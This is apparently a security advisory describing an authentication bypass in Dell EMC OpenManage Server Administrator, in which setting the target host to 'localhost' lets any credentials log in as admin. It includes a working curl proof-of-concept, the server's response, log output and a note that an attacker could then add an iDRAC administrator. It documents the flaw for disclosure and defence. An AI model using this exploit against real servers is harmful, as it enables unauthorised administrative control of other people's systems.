Dell EMC OpenManage Server Administrator Authentication Bypass

When the OpenManage Server Administrator (OMSA) Web Server and Remote Enablement components are installed on a Dell EMC device and the Managed System Login feature is enabled (disabled by default in v9.5.0), an unauthenticated remote attacker can login to OMSA as admin without knowing a correct OS username and password on that system.

When the Managed System Login feature is enabled, the OMSA web server presents a Managed System Login page. In this case, the web server can be used to connect to a remote node/system. It takes the IP/hostname of the remote node, a username and the password and makes an HTTPS WS-Management (i.e., WinRM) connection to the Remote Enablement component on the remote node in order to login to and manage the node.

If the IP/hostname of the remote node is set to localhost, the web server makes a WS-Management connection to the Remote Enablement component on the same host on which the web server is running. It's been observed that any user name and password would work.

Proof of Concept

To perform the authentication bypass, the attacker does the following:

• Use a web browser to fetch https://:1311/
• Switch to the Manage System Login page (by clicking on the Manage Remote Node link)
• Use localhost in the Hostname / IP address field
• Specify any username (i.e., AAAA) in the Username field
• Specify any password (i.e., BBBB) in the Password field
• Check the "Ignore certificate warnings" check box
• Hit the Submit button

The following CURL command shows a successful OMSA login without knowing a correct username and password, as the response is an HTTP redirect to OMSAStart as opposed to a login page (i.e., omalogin.html).

curl -ki -d 'manuallogin=true&targetmachine=localhost&user=AAAA&password=BBBB&application=omsa&ignorecertificate=1' 'https://<omsa_webserver>:1311/LoginServlet?flag=true&managedws=false'

HTTP/1.1 302
Strict-Transport-Security: max-age=31536000
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Set-Cookie: JSESSIONID=E765A274F3CAD6740E2604D5C9276D17;Path=/4A6A8DFC482BD64D;secure; HttpOnly
Location: /4A6A8DFC482BD64D/OMSAStart?mode=omsa&vid=4A6A8DFC482BD64D
vary: accept-encoding
Content-Length: 0

And the log shows more details about the successful authentication bypass login:

[39]2020-11-17 22:21:48.463 loginUser.OMAHttpServlet, sUserName=AAAA
[39]2020-11-17 22:21:48.463 CharConverter, added charset while getting bytestream UTF-8
[39]2020-11-17 22:21:48.463 CharConverter, added charset while getting bytestream UTF-8
[39]2020-11-17 22:21:48.463 CharConverter, added charset while getting bytestream UTF-8
[39]2020-11-17 22:21:48.479 value of on mean AD auth, slocalLogin=null
[39]2020-11-17 22:21:48.479 true for login via login page, sManualLogin=true
[39]2020-11-17 22:21:48.479 HttpServlet: login user:value of ignorecertificate=true
[39]2020-11-17 22:21:48.479 HttpServlet: login user:value of hostname=localhost
[39]2020-11-17 22:21:48.495 HttpServlet: login user: Port is not passed - IPV4 Taking default
[39]2020-11-17 22:21:48.495 HttpServlet: EnableDWS pref setting is===true
[39]2020-11-17 22:21:48.495 OMAWPUtil.generateVID:0643A39C06A46299
[39]2020-11-17 22:21:48.495 OMAWPUtil.currentVID:0643A39C06A46299
[39]2020-11-17 22:21:48.557 sXML of getwsmanclient:<OMA><WSManErrorCode>0</WSManErrorCode><WSManStatus>0</WSManStatus><ResponseCode>200</ResponseCode><IdentifyResponse>http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd</IdentifyResponse></OMA>
[...]
[39]2020-11-17 22:21:48.620 OMAHttpServlet.loginUser: sending parameters to getuserrightsonly, domain= user=AAAA program=omsa localLogin=TRUE computerName=localhost DWS=Research
[39]2020-11-17 22:21:48.620 OMAWPUtil.sendCmdtoDA - Target Machine :null
[39]2020-11-17 22:21:48.620 OMAWPUtil.sendCmdtoDA - User name :null
[39]2020-11-17 22:21:48.651 OMAWPUtil.sendCmdtoDA - Return Value :<SMStatus>0</SMStatus><WSManErrorCode>0</WSManErrorCode><WSManStatus>0</WSManStatus><ResponseCode>200</ResponseCode><ResultCode>0</ResultCode><InvokeResponse><OMAUserRights><UserRightsMask>262151</UserRightsMask><domainUser>AAAA</domainUser></OMAUserRights><SMStatus>0</SMStatus></InvokeResponse>
[...]
[39]2020-11-17 22:21:49.354 OMAHttpServlet.loginUser: AAAA:7:4

Under the hood, a getwsmanclient command was sent to login to the remote node. Because the IP/hostname of the remote node was set to localhost, the getwsmanclient command was sent to the local host and it was successful (WSManStatus = 0) even an invalid username and password were used.

Then a getuserrightsonly command was sent to get the user rights for the specified user account (AAAA). That command was also successful (WSManStatus = 0), and the account has user rights 7, which is the highest.

After logging in without knowing a correct username and password, the attacker can perform all operations designed in OMSA. For example, s/he can add an administrative user for the Integrated Dell Remote Access Controller (iDRAC) on the Dell server. The attacker can then login to iDRAC with administrative privileges.